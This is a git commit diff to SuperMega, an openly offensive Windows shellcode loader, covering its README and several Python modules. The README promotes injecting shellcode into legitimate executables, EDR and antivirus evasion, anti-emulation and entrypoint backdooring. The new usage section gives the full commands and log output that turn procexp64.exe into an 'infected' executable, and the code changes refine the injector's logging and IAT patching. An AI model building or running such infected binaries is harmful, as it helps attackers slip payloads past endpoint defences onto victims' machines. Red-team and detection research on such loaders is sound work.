refactor: more commandline usability cleanup

This commit is contained in:
Dobin Rutishauser
2025-06-09 11:28:13 +02:00
parent 9ed0469884
commit 99ad23d69d
5 changed files with 150 additions and 57 deletions
+121 -43
View File
@@ -1,25 +1,28 @@
# SuperMega - Cordyceps Implementation # SuperMega - Cordyceps Implementation
> Ophiocordyceps camponoti-balzani is a species of fungus that parasitizes > Ophiocordyceps camponoti-balzani is a species of fungus that parasitizes
> insect hosts of the order Hymenoptera, primarily ants. O. > insect hosts of the order Hymenoptera, primarily ants.
> camponoti-balzani infects ants, and eventually kills the hosts after > O. camponoti-balzani infects ants, and eventually kills the hosts after
> they move to an ideal location for the fungus to spread its spores. > they move to an ideal location for the fungus to spread its spores.
## What ## What
SuperMega is a shellcode loader by injecting it into genuine executables (.exe or .dll). SuperMega is a shellcode loader by injecting it into genuine executables (.exe or .dll).
The loader is programmed in C.
The idea is that injecting shellcode nicely into a non-malicious executable should make The loader shellcode will be tightly integrated into the .exe so that static analysis
it less detected. has a hard time to spot that the exe is infected. Static analysis will just see
the genuine exe artefacts.
It also uses modern anti-EDR mechanisms so that the shellcode loading is less likely
to be detected.
Features: Features:
* Encrypt payload * Encrypt payload with XOR
* Execution guardrails, so payload is only decrypted on target * Execution guardrails, so payload is only decrypted on target
* Anti emulation, against AV emulators * Anti emulation, against AV emulators detecting the payload in memory
* EDR deconditioner, against EDR memory scan * EDR deconditioner, against EDR memory scan
* Keep all original properties of the executable (imports etc.) * Keep all original properties of the executable (imports, metadata etc.)
* Very small carrier loader * Very small carrier loader
* Code execution with main function hijacking * Code execution with main function hijacking
* No PEB walk, reuses IAT to execute windows api functions * No PEB walk, reuses IAT to execute windows api functions
@@ -35,7 +38,29 @@ References:
![SuperMega](https://raw.githubusercontent.com/dobin/supermega/master/web-screenshot.png) ![SuperMega](https://raw.githubusercontent.com/dobin/supermega/master/web-screenshot.png)
## Usage ## Usage Preparation
SuperMega depends on VS2022 compiler.
Start `x64 native tools command prompt` to execute `web.py` or `supermega.py`.
Or alternatively if you want to use an existing shell, e.g. for VSC:
In powershell:
```
> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
```
In cmd:
```
> call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
```
Adjust paths as necessary. This should make `cl.exe` and `Windows.h` available, which are required for
compilation of the carrier shellcode.
## Usage Web
``` ```
> ./web.py > ./web.py
@@ -44,15 +69,98 @@ References:
Browse to `http://localhost:5001". Browse to `http://localhost:5001".
Alternatively, use `./supermega.py --help`, but its not well supported. ## Usage Command LIne
Example to inject `calc64.exe` shellcode into `7z.exe`:
```
PS C:\Users\dobin\Repos\SuperMega> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
**********************************************************************
** Visual Studio 2022 Developer Command Prompt v17.12.4
** Copyright (c) 2022 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x64'
C:\Users\dobin\Repos\SuperMega>python.exe supermega.py
(helper.py ) Write project to: projects/commandline/project.pickle
(project.py ) -[ Cleanup project: commandline
(payload.py ) -[ Payload: data/binary/shellcodes/calc64.bin
(payload.py ) Size: 272 bytes
(templater.py ) -[ Carrier create Template: projects/commandline/main.c
(templater.py ) Carrier: alloc_rw_rx
(templater.py ) Carrier: Code into: .text
(templater.py ) Carrier: Decoder: xor_2
(templater.py ) Carrier: Invoker: backdoor Entrypoint
(templater.py ) Carrier AntiEmulation: sirallocalot
(templater.py ) Carrier Guardrail: none
(templater.py ) Carrier Decoy: none
(compiler.py ) -[ Carrier: Compile C to ASM
(compiler.py ) Carrier: projects/commandline/main.c -> projects/commandline/main.asm
(helper.py ) > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c
(assembler.py ) -[ Carrier: ASM to EXE
(assembler.py ) Carrier: projects/commandline/main.asm -> projects/commandline/main.exe
(helper.py ) > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP
(assembler.py ) Carrier Size: 590
(injector.py ) -[ Injecting Carrier
(injector.py ) Injectable: data/binary/exes/procexp64.exe -> projects/commandline/procexp64.infected.exe
(injector.py ) Checking if IAT entries required by carrier are available
(injector.py ) IAT entries missing: 0
(injector.py ) Inject: Write Carrier to 0x71C8D (0x7108D)
(injector.py ) Backdoor function at entrypoint (0xE1D78)
(injector.py ) Inject Carrier data into injectable .rdata/.text
(injector.py ) Patch Carrier code to reference the injected data
(injector.py ) -[ Write to file: projects/commandline/procexp64.infected.exe
```
To inject shellcode `messagebox.bin` into injectable `procexp64.exe` with carrier `alloc_rw_rx` and decoder `xor_1`, where:
* shellcode `messagebox.bin`: `data/binary/shellcodes/messagebox.bin`
* injectable `procexp64.exe`: `data/binary/exes/procexp64.exe`
* carrier `alloc_rw_rx`: `data/source/carrier/alloc_rw_rx/template.c`
* decoder `xor_1`: `data/source/decoder/xor_1.c`
```
> python.exe supermega.py --shellcode messagebox.bin --inject procexp64.exe --carrier alloc_rw_rx --decoder xor_1
(helper.py ) Write project to: projects/commandline/project.pickle
(project.py ) -[ Cleanup project: commandline
(payload.py ) -[ Payload: data/binary/shellcodes/messagebox.bin
(payload.py ) Size: 433 bytes
(templater.py ) -[ Carrier create Template: projects/commandline/main.c
(templater.py ) Carrier: alloc_rw_rx
(templater.py ) Carrier: Code into: .text
(templater.py ) Carrier: Decoder: xor_1
(templater.py ) Carrier: Invoker: backdoor Entrypoint
(templater.py ) Carrier AntiEmulation: sirallocalot
(templater.py ) Carrier Guardrail: none
(templater.py ) Carrier Decoy: none
(compiler.py ) -[ Carrier: Compile C to ASM
(compiler.py ) Carrier: projects/commandline/main.c -> projects/commandline/main.asm
(helper.py ) > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c
(assembler.py ) -[ Carrier: ASM to EXE
(assembler.py ) Carrier: projects/commandline/main.asm -> projects/commandline/main.exe
(helper.py ) > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP
(assembler.py ) Carrier Size: 576
(injector.py ) -[ Injecting Carrier
(injector.py ) Injectable: data/binary/exes/procexp64.exe -> projects/commandline/procexp64.infected.exe
(injector.py ) Checking if IAT entries required by carrier are available
(injector.py ) IAT entries missing: 0
(injector.py ) Inject: Write Carrier to 0x71C43 (0x71043)
(injector.py ) Backdoor function at entrypoint (0xE1D78)
(injector.py ) Inject Carrier data into injectable .rdata/.text
(injector.py ) Patch Carrier code to reference the injected data
(injector.py ) -[ Write to file: projects/commandline/procexp64.infected.exe
> C:\Users\dobin\Repos\SuperMega>.\projects\commandline\procexp64.infected.exe
```
## Directories ## Directories
* `data/binary/shellcodes`: Input: Shellcodes we want to use as input (payload) * `data/binary/shellcodes`: Input: Shellcodes we want to use as input (payload)
* `data/binary/exes/`: Input: Nonmalicious EXE files we inject into * `data/binary/exes/`: Input: Nonmalicious EXE files we inject into
* `data/source/carrier`: Input: Carrier C templates * `data/source/carrier`: Input: Carrier C templates
* `projects/<projectname>`: output: Project directory with all files * `projects/<projectname>`: output: Project directory with generated files, including infected exe
* `projects/default`: output: Project directory with all files * `projects/default`: output: Project directory with all files from web
* `projects/commandline`: output: Project directory with all files from commandline
## Installation ## Installation
@@ -71,36 +179,6 @@ And the python packages:
> pip.exe install -r requirements.txt > pip.exe install -r requirements.txt
``` ```
### How to get the right paths
Either start the "visual studio developer console", or
use the following commandline to get all the env right.
Use this when `Cannot find Windows.h`.
```
cmd.exe /c "`"C:\Program Files (x86)\Microsoft Visual Studio\<year>\<edition>\Common7\Tools\VsDevCmd.bat`" && powershell"
```
Also make sure radare2 is in path if you wanna use it:
```
$Env:PATH += ";C:\Tools\radare2-5.8.8-w64\bin"
```
### Alternative Path Setup
Try using:
```
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
```
or the VS developer console to find the damn environment variables, and set
it in your python console. In my case:
```
$env:INCLUDE = "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um"
$env:LIB="C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x64;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\lib\um\x64;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x64;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x64"
$env:LIBPATH="C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework64\v4.0.30319"
```
### VS2022 Components ### VS2022 Components
+1 -1
View File
@@ -322,7 +322,7 @@ class SuperPe():
new_name_bytes = new_func_name.encode("ascii") + b'\x00' * (len(func_name) - len(new_func_name)) new_name_bytes = new_func_name.encode("ascii") + b'\x00' * (len(func_name) - len(new_func_name))
# Overwrite the name in the file data # Overwrite the name in the file data
logger.info(" Patch IAT entry at offset 0x{:X} from {} to {}".format( logger.debug(" Patch IAT entry at offset 0x{:X} from {} to {}".format(
offset, func_name, new_name_bytes.decode())) offset, func_name, new_name_bytes.decode()))
self.pe.set_bytes_at_offset(offset, new_name_bytes) self.pe.set_bytes_at_offset(offset, new_name_bytes)
+19 -12
View File
@@ -157,27 +157,25 @@ class Injector():
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc) addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
logger.info(" Inject: Backdoor DLL {} (0x{:X})".format( logger.info(" Backdoor DLL {} (0x{:X})".format(
self.settings.dllfunc, addr)) self.settings.dllfunc, addr))
self.function_backdoorer.backdoor_function( self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len) addr, self.carrier_rva, carrier_shc_len)
else: # EXE else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info(" Inject: Change Entry Point to 0x{:X}".format( logger.info(" Change Entry Point to 0x{:X}".format(
self.carrier_rva)) self.carrier_rva))
self.superpe.set_entrypoint(self.carrier_rva) self.superpe.set_entrypoint(self.carrier_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.get_entrypoint() addr = self.superpe.get_entrypoint()
logger.info(" Inject EXE: Backdoor function at entrypoint (0x{:X})".format( logger.info(" Backdoor function at entrypoint (0x{:X})".format(
addr)) addr))
self.function_backdoorer.backdoor_function( self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len) addr, self.carrier_rva, carrier_shc_len)
logger.info(" Fix imports and make carrier reference IAT")
self.injectable_write_iat_references() self.injectable_write_iat_references()
logger.info(" Insert and reference carrier data")
self.inject_and_reference_data() self.inject_and_reference_data()
# changes from console to UI (no console window) if necessary # changes from console to UI (no console window) if necessary
@@ -200,23 +198,31 @@ class Injector():
def injectable_patch_iat(self): def injectable_patch_iat(self):
logger.info(" Checking if IAT entries required by carrier are available") logger.info(" Checking if IAT entries required by carrier are available")
# Patch IAT (if necessary and wanted) iatRequests = self.injectable.get_all_iat_requests()
for iatRequest in self.injectable.get_all_iat_requests(): iatMissing = []
for iatRequest in iatRequests:
# skip available # skip available
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name) addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None: if addr != None:
logger.debug(" Request IAT {} is available at 0x{:X}".format( logger.debug(" Request IAT {} is available at 0x{:X}".format(
iatRequest.name, addr)) iatRequest.name, addr))
continue else:
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) logger.debug(" Request IAT {} is NOT available".format(
iatRequest.name))
iatMissing.append(iatRequest)
logger.info(" IAT entries missing: {}".format(len(iatMissing)))
for iatRequest in iatMissing:
# Not available, check if we can patch it
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
if not self.settings.fix_missing_iat: if not self.settings.fix_missing_iat:
raise Exception("Error: {} not available, but fix_missing_iat is False".format( raise Exception("Error: {} not available, but fix_missing_iat is False".format(
iatRequest.name)) iatRequest.name))
# do the patch # do the patch
self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name) self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
#logger.info(" Unavailable IAT {} now patched".format( logger.info(" Patch injectable to import {}".format(
# iatRequest.name)) iatRequest.name))
# we modify the IAT raw, so reparsing is required # we modify the IAT raw, so reparsing is required
self.superpe.pe.parse_data_directories() self.superpe.pe.parse_data_directories()
self.superpe.init_iat_entries() self.superpe.init_iat_entries()
@@ -266,6 +272,7 @@ class Injector():
return return
# insert data # insert data
logger.info(" Inject Carrier data into injectable .rdata/.text")
for datareuse_fixup in reusedata_fixups: for datareuse_fixup in reusedata_fixups:
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format( logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
datareuse_fixup.string_ref, datareuse_fixup.in_code)) datareuse_fixup.string_ref, datareuse_fixup.in_code))
@@ -298,7 +305,7 @@ class Injector():
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
# replace the placeholder in .text with a LEA instruction to the data we written above # replace the placeholder in .text with a LEA instruction to the data we written above
logger.info(" Datareusefixups: patch code to reference the data") logger.info(" Patch Carrier code to reference the injected data")
code = self.superpe.get_code_section_data() code = self.superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups: for datareuse_fixup in reusedata_fixups:
ref: DataReuseReference ref: DataReuseReference
+4
View File
@@ -30,6 +30,10 @@ def create_c_from_template(settings: Settings, payload_len: int):
logger.info("-[ Carrier create Template: {}".format( logger.info("-[ Carrier create Template: {}".format(
settings.main_c_path)) settings.main_c_path))
# check that source directory exists
if not os.path.exists(src):
raise FileNotFoundError("Source directory does not exist: {}".format(src))
# copy *.c *.h files from src directory to dst directory # copy *.c *.h files from src directory to dst directory
for file in os.listdir(src): for file in os.listdir(src):
+5 -1
View File
@@ -156,7 +156,11 @@ def start_real(settings: Settings):
project.payload.payload_data = preload_dll(project.payload.payload_path) project.payload.payload_data = preload_dll(project.payload.payload_path)
# CREATE: Carrier C source files from template (C->C) # CREATE: Carrier C source files from template (C->C)
phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) try:
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
except FileNotFoundError as e:
logger.error("Error creating C from template: {}".format(e))
return 1
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
# So the carrier is able to find the payload # So the carrier is able to find the payload